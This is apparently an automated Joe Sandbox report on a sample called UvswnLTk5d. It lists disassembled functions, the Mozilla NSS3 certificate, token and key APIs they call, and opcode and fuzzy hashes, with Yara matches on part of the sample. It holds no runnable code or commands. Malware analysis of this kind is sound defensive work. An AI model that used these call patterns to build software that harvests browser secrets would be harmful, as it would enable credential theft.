Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: d6b0938b01aae350bcc9bbb5192347761024fe4b863d1e5db2889459d78e0179
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 3521D4B2D023454BE710CF549D48BEB3774AFA130CF11426ADD086B742F7B2E69882B6

Uniqueness

Uniqueness Score: -1.00%

Function 6CF3ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CF3ACC2

Part of subcall function 6CF12F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CF12F0A
Part of subcall function 6CF12F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CF12F1D

Part of subcall function 6CF12AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CF10A1B,00000000), ref: 6CF12AF0
Part of subcall function 6CF12AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF12B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CF3AD5E

Part of subcall function 6CF557D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CF1B41E,00000000,00000000,?,00000000,?,6CF1B41E,00000000,00000000,?,?), ref: 6CF557E0
Part of subcall function 6CF557D0: free.MOZGLUE(00000000,00000000,00000000,?,?), ref: 6CF55843

CERT_DestroyCertList.NSS3(?), ref: 6CF3AD36

Part of subcall function 6CF12F50: CERT_DestroyCertificate.NSS3(?), ref: 6CF12F65
Part of subcall function 6CF12F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CF12F83

free.MOZGLUE(?), ref: 6CF3AD4F

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: b488789eefb53ff50a2dedf52d9097e3c7cb5bc81785b0abbdd7cbbc7c2c2709
Instruction ID: 0c6b9a8f3a850bdb317234a5fa3ff7c1ed736dae782da3b8550c49474be25f3e
Opcode Fuzzy Hash: b488789eefb53ff50a2dedf52d9097e3c7cb5bc81785b0abbdd7cbbc7c2c2709
Instruction Fuzzy Hash: 0F21C6B1D002249BEF11DFA5D8056EEBBF4AF05208F455068D808BB610FB31AA59CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF63C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CF63C9E
EnterCriticalSection.KERNEL32(?), ref: 6CF63CAE
PR_Unlock.NSS3(?), ref: 6CF63CEA
PR_SetError.NSS3(00000000,00000000), ref: 6CF63D02

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: bf105dfa47959bc468e2a11ad95099a364728509c1bbfc4d4857f491314230f5
Instruction ID: f6b67e1b6ead58e8cf152debff8ea06834c2a671b63b48a9ea053643e33b61d2
Opcode Fuzzy Hash: bf105dfa47959bc468e2a11ad95099a364728509c1bbfc4d4857f491314230f5
Instruction Fuzzy Hash: 2211D675900214AFDB009F25DC44B9A3BB8EF4A368F154064FD089B711D730ED54CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF6ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CF6F0AD,6CF6F150,?,6CF6F150,?,?,?), ref: 6CF6ECBA

Part of subcall function 6CF70FF0: calloc.MOZGLUE(?,00000024,00000000,?,?,6CF187ED,00000800,6CF0EF74,00000000), ref: 6CF71000
Part of subcall function 6CF70FF0: PR_NewLock.NSS3(?,00000800,6CF0EF74,00000000), ref: 6CF71016
Part of subcall function 6CF70FF0: PL_InitArenaPool.NSS3(00000000,security,6CF187ED,00000008,?,00000800,6CF0EF74,00000000), ref: 6CF7102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CF6ECD1

Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF710F3
Part of subcall function 6CF710C0: EnterCriticalSection.KERNEL32(?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7110C
Part of subcall function 6CF710C0: PL_ArenaAllocate.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71141
Part of subcall function 6CF710C0: PR_Unlock.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71182
Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CF6ED02

Part of subcall function 6CF710C0: PL_ArenaAllocate.NSS3(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CF6ED5A

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 8ee4281e8e3a7b5aa992dfffe99a1523f142ff2c3b1fb5f83c08263e288d0686
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: C5216FB2E007429BE700CF26DD44B52B7E4BFA5348F25C21AA81C87A61FB71E594C6E1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF9ED10 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CF9ED34
realloc.MOZGLUE(?,?), ref: 6CF9ED5D
PORT_Alloc_Util.NSS3(?), ref: 6CF9ED74

Part of subcall function 6CF70BE0: malloc.MOZGLUE(6CF68D2D,?,00000000,?), ref: 6CF70BF8
Part of subcall function 6CF70BE0: TlsGetValue.KERNEL32(6CF68D2D,?,00000000,?), ref: 6CF70C15

memset.VCRUNTIME140(?,?,?), ref: 6CF9ED97

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemsetrealloc
String ID:
API String ID: 2992043971-0
Opcode ID: 5d9e3eba3e45e58f7beba8ff7e2c6bc89c47de18d8c20e3e8666ff1421f1e20d
Instruction ID: 75945ee0b5007e3a2c6b96abdb4fbd76de99c651736160f89d58cf6c9c4d9029
Opcode Fuzzy Hash: 5d9e3eba3e45e58f7beba8ff7e2c6bc89c47de18d8c20e3e8666ff1421f1e20d
Instruction Fuzzy Hash: 3C11E9B1A05702ABFF109E25DC84B26B3A8BF0031DF204637ED19C2B50E331E860CAE1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF9EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CF87FFA,?,6CF89767,?,8B7874C0,0000A48E), ref: 6CF9EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CF87FFA,?,6CF89767,?,8B7874C0,0000A48E), ref: 6CF9EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CF87FFA,?,6CF89767,?,8B7874C0,0000A48E), ref: 6CF9EE14

Part of subcall function 6CF70BE0: malloc.MOZGLUE(6CF68D2D,?,00000000,?), ref: 6CF70BF8
Part of subcall function 6CF70BE0: TlsGetValue.KERNEL32(6CF68D2D,?,00000000,?), ref: 6CF70C15

memcpy.VCRUNTIME140(?,?,6CF89767,00000000,00000000,6CF87FFA,?,6CF89767,?,8B7874C0,0000A48E), ref: 6CF9EE33

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 39c07ddb57ff09981ca1d20d4574377472093408c0efc1382145e64e7a4e5985
Instruction ID: 0c107e07ca4fd79be725b701512c624e78ebc2730cdd4e02eecc0dcb33150f2b
Opcode Fuzzy Hash: 39c07ddb57ff09981ca1d20d4574377472093408c0efc1382145e64e7a4e5985
Instruction Fuzzy Hash: 811170B1A05706ABFF10AE65DC84B86B3A8FF0435DF254536E919D6A40E331E8648BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF38DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CF38DE7
EnterCriticalSection.KERNEL32 ref: 6CF38DFC
PR_Unlock.NSS3 ref: 6CF38E2D
PR_SetError.NSS3 ref: 6CF38E49

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: f59611b1370a29eb53664f133b1281fa8d6fbadfa257216861671135934c7465
Instruction ID: 3cce9a6cc90d3c4246ceb98e8dc64d2e94bca30bdc99ade1d25d7bcfcc3e50bc
Opcode Fuzzy Hash: f59611b1370a29eb53664f133b1281fa8d6fbadfa257216861671135934c7465
Instruction Fuzzy Hash: 5D117071505A10AFD700AF78C4886AABBF4FF4A754F01596ADC88DBB00E734E894CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 6CFBAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CFA5F17,?,?,?,?,?,?,?,?,6CFAAAD4), ref: 6CFBAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CFA5F17,?,?,?,?,?,?,?,?,6CFAAAD4), ref: 6CFBACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CFAAAD4), ref: 6CFBACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CFAAAD4), ref: 6CFBACDB

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: df22099aa5112a4c3d8ed69d09663c6fe79c4a398180fbc971a2b02f1d3e0104
Instruction ID: 6419fadb8df3ef708d57a31d0cb8d437e341558232b4ac148707347d3523d7a7
Opcode Fuzzy Hash: df22099aa5112a4c3d8ed69d09663c6fe79c4a398180fbc971a2b02f1d3e0104
Instruction Fuzzy Hash: C1015EB1601B419BEB50DF2AD908767B7E8BF00A59B104839E85AD3E00E731F055CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CFA9DB0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CFA9DC3

Part of subcall function 6CF195B0: TlsGetValue.KERNEL32(00000000,?,6CF300D2,00000000), ref: 6CF195D2
Part of subcall function 6CF195B0: EnterCriticalSection.KERNEL32(?,?,?,6CF300D2,00000000), ref: 6CF195E7
Part of subcall function 6CF195B0: PR_Unlock.NSS3(?,?,?,?,6CF300D2,00000000), ref: 6CF19605

free.MOZGLUE(?), ref: 6CFA9DD3
memset.VCRUNTIME140(?,00000000,?), ref: 6CFA9DE3
TlsGetValue.KERNEL32 ref: 6CFA9DFE

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Value$CertificateCriticalDestroyEnterSectionUnlockfreememset
String ID:
API String ID: 265494828-0
Opcode ID: 2c4d53fe9f363da7d6f9bec09eeaae67cbadfc1c6ab405724a93dc45f7da9e1d
Instruction ID: d1c20e069883006af4e9a7d70424852ff3afbedb4be983fc43a9b0b8d27db18e
Opcode Fuzzy Hash: 2c4d53fe9f363da7d6f9bec09eeaae67cbadfc1c6ab405724a93dc45f7da9e1d
Instruction Fuzzy Hash: B4012DB1A05250CBEB106F79CC457B7B7B8AF02709F100539E859D7A52FF31D291C6A1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF21DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CF21DFB

Part of subcall function 6CF195B0: TlsGetValue.KERNEL32(00000000,?,6CF300D2,00000000), ref: 6CF195D2
Part of subcall function 6CF195B0: EnterCriticalSection.KERNEL32(?,?,?,6CF300D2,00000000), ref: 6CF195E7
Part of subcall function 6CF195B0: PR_Unlock.NSS3(?,?,?,?,6CF300D2,00000000), ref: 6CF19605

PR_EnterMonitor.NSS3 ref: 6CF21E09

Part of subcall function 6CFD9090: TlsGetValue.KERNEL32 ref: 6CFD90AB
Part of subcall function 6CFD9090: TlsGetValue.KERNEL32 ref: 6CFD90C9
Part of subcall function 6CFD9090: EnterCriticalSection.KERNEL32 ref: 6CFD90E5
Part of subcall function 6CFD9090: TlsGetValue.KERNEL32 ref: 6CFD9116
Part of subcall function 6CFD9090: LeaveCriticalSection.KERNEL32 ref: 6CFD913F

Part of subcall function 6CF1E190: PR_EnterMonitor.NSS3(?,?,6CF1E175), ref: 6CF1E19C
Part of subcall function 6CF1E190: PR_EnterMonitor.NSS3(6CF1E175), ref: 6CF1E1AA
Part of subcall function 6CF1E190: PR_ExitMonitor.NSS3 ref: 6CF1E208
Part of subcall function 6CF1E190: PL_HashTableRemove.NSS3(?), ref: 6CF1E219
Part of subcall function 6CF1E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CF1E231
Part of subcall function 6CF1E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CF1E249
Part of subcall function 6CF1E190: PR_ExitMonitor.NSS3 ref: 6CF1E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF21E37
PR_ExitMonitor.NSS3 ref: 6CF21E4A

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 13487d321afe3f65d2cd44c9db7a5f8eddc935e79e6a9b6fec41c324e74ccf36
Instruction ID: 29d38037da85ac19397ffaaa83fc1fe959ba4a5f2dd7372545c0944db3d477a6
Opcode Fuzzy Hash: 13487d321afe3f65d2cd44c9db7a5f8eddc935e79e6a9b6fec41c324e74ccf36
Instruction Fuzzy Hash: 2B01D472A04520A7EB004BA6EC04F9377B4AB42748F158130E418ABB91EB37FC14CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 00414ED0 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00414F1C
HeapAlloc.KERNEL32(00000000), ref: 00414F23
wsprintfA.USER32 ref: 00414F3D

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Strings

%dx%d, xrefs: 00414F34

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 2716131235-2206825331
Opcode ID: f08cde69876725b708423540da4c5a3f365b361f564d4ee0880696cb78a15392
Instruction ID: 6eb13fdbeba78ce7d97bae5a893604665d2c333b41188d65ffcc19bab192dd48
Opcode Fuzzy Hash: f08cde69876725b708423540da4c5a3f365b361f564d4ee0880696cb78a15392
Instruction Fuzzy Hash: 5C112DB1A40708AFDB10DFE4DD49FBE77B9FB48701F104548FA09AB280CA719901CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00416F20 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 00416F72
lstrcat.KERNEL32(00000000), ref: 00416F82

Strings

6F@, xrefs: 00416F37
6F@, xrefs: 00416F29

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcatlstrcpy
String ID: 6F@$6F@
API String ID: 3905823039-140834422
Opcode ID: b2b8f2f679e17c16398feb907a9e3e2268289aa35d4f824751cc82530a34255d
Instruction ID: 671097608d67a6365fb22a17cf1e01146cf6df4f1a405ab7b22d056337cae9f2
Opcode Fuzzy Hash: b2b8f2f679e17c16398feb907a9e3e2268289aa35d4f824751cc82530a34255d
Instruction Fuzzy Hash: F411D674A00208ABCB04DF94E884AEEB375BF44304F518599E829AB391C734AA85CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6CF21D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF21D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CF21D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CF21D9C
free.MOZGLUE(00000000), ref: 6CF21DB8

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 5764606f45305ce4830ea49087ab1341ae7d4c6c38475a787cd33a5d02a9d3c7
Instruction ID: b596f09858ba2eb6fbaad17234b1e4ead032445bf2d2fda0ea9af0d2efdb5c07
Opcode Fuzzy Hash: 5764606f45305ce4830ea49087ab1341ae7d4c6c38475a787cd33a5d02a9d3c7
Instruction Fuzzy Hash: 2AF0F9B3A01750D7FF201F996C41B877658AF81758F518236ED1D87B44DB72EC0582E9

Uniqueness

Uniqueness Score: -1.00%

Function 6CFBAC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CFA5D40,00000000,?,?,6CF96AC6,6CFA639C), ref: 6CFBAC2D

Part of subcall function 6CF5ADC0: TlsGetValue.KERNEL32(?,6CF3CDBB,?,6CF3D079,00000000,?), ref: 6CF5AE10
Part of subcall function 6CF5ADC0: EnterCriticalSection.KERNEL32(?,?,6CF3CDBB,?,6CF3D079,00000000,?), ref: 6CF5AE24
Part of subcall function 6CF5ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CF3D079,00000000,?), ref: 6CF5AE5A
Part of subcall function 6CF5ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CF3CDBB,?,6CF3D079,00000000,?), ref: 6CF5AE6F
Part of subcall function 6CF5ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CF3CDBB,?,6CF3D079,00000000,?), ref: 6CF5AE7F
Part of subcall function 6CF5ADC0: TlsGetValue.KERNEL32(?,6CF3CDBB,?,6CF3D079,00000000,?), ref: 6CF5AEB1
Part of subcall function 6CF5ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CF3CDBB,?,6CF3D079,00000000,?), ref: 6CF5AEC9

PK11_FreeSymKey.NSS3(?,6CFA5D40,00000000,?,?,6CF96AC6,6CFA639C), ref: 6CFBAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CFA5D40,00000000,?,?,6CF96AC6,6CFA639C), ref: 6CFBAC59
